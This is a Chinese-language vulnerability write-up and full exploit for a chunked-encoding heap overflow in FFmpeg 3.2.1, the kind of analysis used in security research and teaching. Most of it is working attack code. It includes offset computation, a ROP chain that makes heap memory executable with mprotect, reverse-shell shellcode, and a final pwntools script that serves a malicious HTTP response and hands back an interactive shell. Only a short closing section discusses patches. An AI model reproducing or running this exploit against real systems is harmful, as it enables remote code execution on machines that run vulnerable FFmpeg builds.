0x01 漏洞分析
简单来说,是因为变量在传递过程中的类型不一致,导致了传入的负数被转化为极大数,最终导致了堆溢出漏洞。
在溢出的buffer的高地址处,刚好有可利用的对象,其中的函数指针可以被覆盖。如此,就可以在后续调用这个函数指针的时候成功劫持程序的控制流。
1.1 正常情况下的程序功能
ffmpeg的-i选项可以从指定的输入流获取视频,并保存为AVI格式。下面是一个正常使用的例子。
1.2 HTTP分块编码
HTTP Header中的Content-Length
字段用于告诉Client,响应实体的长度。Content-Length必须和实体实际长度一致,通常如果Content-Length比实际长度短,会造成内容被截断;如果比实体内容长,会造成pending。
但是在获取网络文件等情景下,实体长度不是那么容易获得。为了不依靠Header中的长度信息,也能让Client知道实体的边界,Transfer-Encoding
就是为了解决这个问题的。最新的HTTP规范只定义了一种传输编码:分块编码(chunked)。编码使用若干个Chunk组成,由一个标明长度为0的chunk结束,每个Chunk有两部分组成,第一部分是该Chunk的长度,第二部分就是指定长度的内容,每个部分用CRLF隔开。
使用分块编码的response如下所示:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n
1.3 chunksize漂流记
漏洞就发生在ffmpeg处理HTTP分块编码response的过程中。
上一小节中说到,每个Chunk的第一部分是该Chunk的长度,代码中使用chunksize表示。然后看一下chunksize在程序运行中经历的传递和类型转换。
可以发现当传给recv函数时,chunksize最终被转换成了size_t类型。
顺便关注一下64位架构中的几种整数类型。
类型 | 位数 | 范围 |
---|---|---|
long long | 64 bit | -2^63 ~ 2^63 -1 |
int64_t | 64 bit | -2^63 ~ 2^63 -1 |
int | 32 bit | -2^31 ~ 2^31 - 1 |
size_t | 64 bit | 0 ~ 2^64 -1 |
由于size_t是无符号整数,那么传入一个负数-1将会被转换为2^64 - 1,这将远大于buffrer的最大长度0x8000。此时如果传递长度大于0x8000的内容,将形成溢出。
0x02 利用思路
2.1 搭建环境
安装pwntools等工具
$ sudo apt-get update $ sudo apt-get upgrade -y $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential $ sudo pip install --upgrade pip $ sudo pip install --upgrade pwntools $ sudo pip install --upgrade ropper
使用下面的命令搭建环境:
安装依赖:
sudo apt-get update sudo apt-get -y install autoconf automake build-essential libass-dev \ libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \ libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \ texinfo wget zlib1g-dev yasm
编译安装FFmpeg 3.2.1
$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz $ tar xvfz n3.2.1.tar.gz $ mkdir ~/ffmpeg_build $ mkdir ~/ffmpeg_bin $ cd FFmpeg-n3.2.1/ $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \ --disable-stripping $ make -j4 $ sudo make install
2.2 检查程序保护
可以看到PIE(ASLR)是关闭的,这样的话在利用过程中就会简单很多。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
2.3 劫持程序控制流
buffer刚好分配在一个AVIOContext
对象的前面,并且AVIOContext对象中包含有函数指针readpacket
。该对象的指针在avio_read函数中被使用,而avio_read函数将会在后续被调用——所以控制了read_packet就可以劫持程序控制流。
2.3.1 计算buffer和目标对象之间的距离
首先记录了AVIOContext对象的地址为0x1deebe0
然后查看buff的地址为0x1de6b80
相差了0x1deebe0 - 0x1de6b80 = 0x8060
2.3.2 验证填充
使用下面的代码引发crash,
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
# Start a listener and wait for a connection from ffmpeg
while True:
p = listen(12345)
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
time.sleep(2)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for five seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# overwrite
p.close()
if __name__ == '__main__':
main()
使用上面的代码进行溢出后,查看AVIOContext对象,可以看到readpacket
字段已经被覆盖。
gdb-peda$ p *(AVIOContext *)(0x1de6b80+0x8060)
$3 = {
av_class = 0x4141414141414141,
buffer = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
buffer_size = 0x41414141,
buf_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
buf_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
opaque = 0x4141414141414141,
read_packet = 0x41414141414141,
write_packet = 0x5c4040 <io_write_packet>,
seek = 0x5c4030 <io_seek>,
pos = 0x0,
must_flush = 0x0,
eof_reached = 0x0,
write_flag = 0x0,
max_packet_size = 0x0,
checksum = 0x0,
checksum_ptr = 0x0,
......
}
2.3.3 构造ROP劫持程序控制流
使用ropper工具寻找合适的gadgets
以pop rsi; ret
为例:shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ ropper --file ffmpeg --search "pop rsi; ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rsi; ret [INFO] File: ffmpeg 0x000000000003ca24: pop rsi; ret 0x15e8; 0x0000000000bd55b2: pop rsi; ret 0x17e8; 0x0000000000244cbb: pop rsi; ret 0x1ee8; 0x00000000008ff888: pop rsi; ret 0x280f; ...... 0x0000000000008b2c: pop rsi; ret;
放置好的gadgets如下面代码所示
其中(1)~(5)标记了gadgets的执行顺序。
#!/usr/bin/python from pwn import * import time import socket # HTTP Headers headers = """HTTP/1.1 200 OK Server: PwnServ/v1.0 Date: Sun, 11 Mar 1994 13:37:00 GMT Content-Type: text/html Transfer-Encoding: chunked """ # ROP Gadgets pop_rsp = 0x00000000004077e9 # pop rsp; ret; stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret; push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi; def main(): # Start a listener and wait for a connection from ffmpeg while True: p = listen(12345) # Wait for connection before sending payload log.info("Waiting for the victim...") p.wait_for_connection() log.success("Victim found!") # Initialise the ffmpeg instance and prepare it for the bug p.send(headers) time.sleep(2) # Trigger the bug with the overly large read p.sendline("-1") log.info("Bug triggered. Please wait for five seconds...") time.sleep(4) # The sleep allows for a clean transmission boundary payload = "A" * 0x8060 # Padding to start of AVIOContext struct # Setup the fake AVIOContext struct for the pivot into attacker controlled # memory payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3) payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end] payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2) payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1) payload += ("X"*8) * 3 # [write_packet, seek, pos] payload += "AAAA" # [must_flush] payload += p32(0) # [eof_reached] Must be zero or read terminates payload += "A" * 8 # [write_flag, max_packet_size] payload += p64(stack_pivot) # [checksum] One more stack pivot (4) payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP # ROP chain starts here payload += p64(0xdeadbeef) # ROP Chain (5) payload += p64(0xcafebabe) payload += p64(0xba5eba11) # Send the entire payload log.info("Payload sent!") p.send(payload) time.sleep(2) # Close the socket to terminate the read on the ffmpeg end to process the # shellcode p.close() if __name__ == '__main__': main()
运行代码,在crash现场可以看到,程序的RIP已经被控制。
劫持程序控制流之后,就是在内存中放置shellcode并执行。
2.4 改变堆内存属性
寻找合适的内存地址
首先查看适合放置 shellcode的位置:gdb-peda$ vmmap Start End Perm Name 0x00400000 0x01446000 r-xp /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x01645000 0x01646000 r--p /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x01646000 0x0168d000 rw-p /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg 0x0168d000 0x01e05000 rw-p [heap] 0x00007ffff0355000 0x00007ffff037f000 r-xp /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 ...... 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
选择可写的内存段0x01646000用来写入shellcode。
接下来要将这个内存段的属性改写成可执行。
使用mprotect()改变内存属性
mprotect原型
#include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以理解为读写执行的标志位。各个位之间可以使用
|
进行连接。(权限标志位通常使用或
运算)#define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */
在ffmpeg中寻找可用的memprotect()
shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ objdump -d ffmpeg | grep mprotect00000000004071f0 <mprotect@plt>: 4749b3: e8 38 28 f9 ff callq 4071f0 <mprotect@plt> 4749d3: e8 18 28 f9 ff callq 4071f0 <mprotect@plt>
ROP chain思路
上述的payload可以控制rip运行到deadbeef的部分。现在把deadbeef和后面的payload替换为真正可用的payload:
- 改写目标内存的属性
mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC) - 将shellcode拷贝到目标内存地址
- 跳转到shellcode
# ROP Gadgets pop_rsp = 0x00000000004077e9 # pop rsp; ret; stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret; push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi; mprotect_segment = 0x01646000 mprotect_size = 0x500 mprotect_prot = 0x1 | 0x2 | 0x4 pop_rdi = 0x0000000000407c39 pop_rsi = 0x0000000000408b2c pop_rdx = 0x0000000000408859 write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret; mprotect_plt = 0x4071f0 def generate_mov(address_base, data): """Move data into memory startng at the given address_base with a write gadget.""" def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n] ropchain = "" for counter, i in enumerate(chunks(data, 8)): ropchain += p64(pop_rsi) # Pop the target address into RSI ropchain += p64(address_base + (counter * 8)) # Calculate the target ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes ropchain += p64(write_gadget) # Trigger the write return ropchain def main(): ...... # The main ROP chain # This will do the following things: # 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC) # 2. copy shellcode into shellcode_segment # 3. jump to shellcode # Setup mprotect ROP chain payload += p64(pop_rdi) # Pop the first argument into RDI payload += p64(mprotect_segment) payload += p64(pop_rsi) # Pop the second argument into RSI payload += p64(mprotect_size) payload += p64(pop_rdx) # Pop the third argument into RDX payload += p64(mprotect_prot) payload += p64(mprotect_plt) # Run the mprotect function # Write the shellcode into our newly mprotected segment payload += generate_mov(mprotect_segment, shellcode) # Jump to shellcode payload += p64(mprotect_segment) ...... if __name__ == '__main__': main()
- 改写目标内存的属性
2.5 选择shellcode
选用下面的shellcode生成反向shell
#include <stdio.h> #define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */ #define PORT "\x05\x39" /* 1337 */ unsigned char code[] = \ "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10" "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" "\x5f\x6a\x3b\x58\x0f\x05"; int main(void) { printf("Shellcode Length: %d\n", (int)sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); return 0; }
改写成Python版本
# Reverse Shell TCP Shellcode adapted from Russell Willis ip_addr = "127.1.1.1" ip_addr_packed = socket.inet_aton(ip_addr) port = 1337 port_packed = p16(port, endian="big") shellcode = ( "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" + "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" + "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" + "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+ "\x48\x89\xe6\x6a\x10" + "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" + "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" + "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" + "\x5f\x6a\x3b\x58\x0f\x05")
0x03 完整Exploit及验证
3.1 最终版Exploit
```py
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
# Reverse Shell TCP Shellcode adapted from Russell Willis
ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
"\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
"\x48\x89\xe6\x6a\x10" +
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
"\x5f\x6a\x3b\x58\x0f\x05")
# ROP Gadgets
pop_rsp = 0x00000000004077e9 # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4
pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859
write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
mprotect_plt = 0x4071f0
def generate_mov(address_base, data):
"""Move data into memory startng at the given address_base with a write
gadget."""
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
ropchain = ""
for counter, i in enumerate(chunks(data, 8)):
ropchain += p64(pop_rsi) # Pop the target address into RSI
ropchain += p64(address_base + (counter * 8)) # Calculate the target
ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX
ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
ropchain += p64(write_gadget) # Trigger the write
return ropchain
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
# Start a second listener for the reverse shell
rev = listen(port)
# Wait for connection before sending payload
log.info("Waiting for the victim...")
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
time.sleep(2)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060 # Padding to start of AVIOContext struct
# Setup the fake AVIOContext struct for the pivot into attacker controlled
# memory
payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end]
payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2)
payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)
payload += ("X"*8) * 3 # [write_packet, seek, pos]
payload += "AAAA" # [must_flush]
payload += p32(0) # [eof_reached] Must be zero or read terminates
payload += "A" * 8 # [write_flag, max_packet_size]
payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP
# The main ROP chain
# This will do the following things:
# 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
# 2. copy shellcode into shellcode_segment
# 3. jump to shellcode
# Setup mprotect ROP chain
payload += p64(pop_rdi) # Pop the first argument into RDI
payload += p64(mprotect_segment)
payload += p64(pop_rsi) # Pop the second argument into RSI
payload += p64(mprotect_size)
payload += p64(pop_rdx) # Pop the third argument into RDX
payload += p64(mprotect_prot)
payload += p64(mprotect_plt) # Run the mprotect function
# Write the shellcode into our newly mprotected segment
payload += generate_mov(mprotect_segment, shellcode)
# Jump to shellcode
payload += p64(mprotect_segment)
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# shellcode
p.close()
# Wait for reverse shell
log.info("Please wait for your reverse shell.")
rev.wait_for_connection()
log.success("Success! Enjoy your shell!")
rev.interactive()
if __name__ == '__main__':
main()
```
0x04 验证
0x05 Patch思路
5.1 针对此漏洞点的Patch思路
检查chunksize的值,如果为负数就中止程序。
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line); /* skip CR LF from last chunk */
s->chunksize = strtoll(line, NULL, 16);
if (!s->chunksize)
return 0;
}
if (s->chunksize > 0) {
size = FFMIN(size, s->chunksize);
}
}
5.2 官方的Patch思路
官方commit 2a05c8f813de6f2278827734bf8102291e7484aa将所有的长度和偏移变量类型,都修改成了无符号类型,从而避免类型混淆的问题。